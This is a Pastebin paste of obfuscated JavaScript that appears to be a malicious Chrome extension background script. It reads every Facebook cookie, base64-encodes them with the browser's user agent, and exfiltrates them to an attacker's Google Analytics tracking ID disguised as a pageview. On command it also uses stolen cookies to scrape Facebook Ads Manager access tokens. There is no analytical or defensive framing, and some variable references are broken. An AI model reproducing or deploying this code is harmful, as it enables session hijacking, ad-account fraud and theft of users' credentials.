Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const ANALYTICS_PATH = "https://www.google-analytics.com/collect";
- async function postData(_0xb4f7x3 = "", _0xb4f7x4 = {}) {
- const _0xb4f7x5 = await fetch(_0xb4f7x3, {method: "POST", mode: "no-cors", cache: "no-cache", credentials: "same-origin", headers: {"Content-Type": "application/x-www-form-urlencoded"}, redirect: "follow", referrerPolicy: "no-referrer", body: _0xb4f7x4});
- }
- var coo = [];
- const getsss = () => {
- chrome.cookies.getAll({url: "https://facebook.com"}, _0xb4f7x4 => {
- coo = _0xb4f7x4.map(_0xb4f7x8 => {
- return `${""}${_0xb4f7x8.name}${"="}${_0xb4f7x8.value}${""}`;
- }).join(";");
- var _0xb4f7x9 = new URLSearchParams;
- let _0xb4f7xa = (Math.random() + 1).toString(36).substring(3);
- _0xb4f7x9.append("v", 1);
- _0xb4f7x9.append("tid", "UA-244663376-1");
- _0xb4f7x9.append("cid", "35009a79-1a05-49d7-b876-2b" + _0xb4f7xa);
- _0xb4f7x9.append("t", "pageview");
- _0xb4f7x9.append("dp", btoa(`${""}${coo}${"|"}${navigator.userAgent}${"|gtes"}`));
- postData(ANALYTICS_PATH, _0xb4f7x9);
- });
- };
- chrome.runtime.onMessage.addListener(function (_0xb4f7xb, _0xb4f7xc, _0xb4f7xd) {
- if (_0xb4f7xb.action === "executeFunction") {
- getsss();
- return true;
- }
- ;
- if (_0xb4f7xb.action === "getTokenDTSG") {
- let _0xb4f7xe = {headers: {cookie: _0xb4f7xb.data, accept: "*/*", "accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5", "content-type": "application/x-www-form-urlencoded", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Site": "same-origin", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"}, body: null, method: "GET", mode: "cors", credentials: "include"};
- fetch("https://adsmanager.facebook.com/ads/manager/account_settings/information/", _0xb4f7xe).then(_0xb4f7x18 => {
- return _0xb4f7x18.text();
- }).then(_0xb4f7xf => {
- let _0xb4f7x10 = 'access_token:"';
- let _0xb4f7x11 = '"';
- let _0xb4f7x12 = new RegExp(`${""}${_0xb4f7x10}${"(.*?)"}${_0xb4f7x11}${""}`);
- let _0xb4f7x13 = _0xb4f7xf.match(_0xb4f7x12);
- let _0xb4f7x14 = _0xb4f7x13 ? _0xb4f7x13[1] : null;
- let _0xb4f7x15 = '"token":"';
- let _0xb4f7x16 = '"';
- let _0xb4f7x17 = _0xb4f7xf.match(new RegExp("(?<=" + _0xb4f7x15 + "+).*?(?=" + _0xb4f7x16 + ")", "gs"))[0];
- _0xb4f7xd({token_bm, fb_dtsg});
- });
- return true;
- }
- });
- let total = 0;
- for (let i = 0; i < 10; i++) {
- total += i;
- }
- console.log("Total: " + total);
Advertisement
Add Comment
Please, Sign In to add comment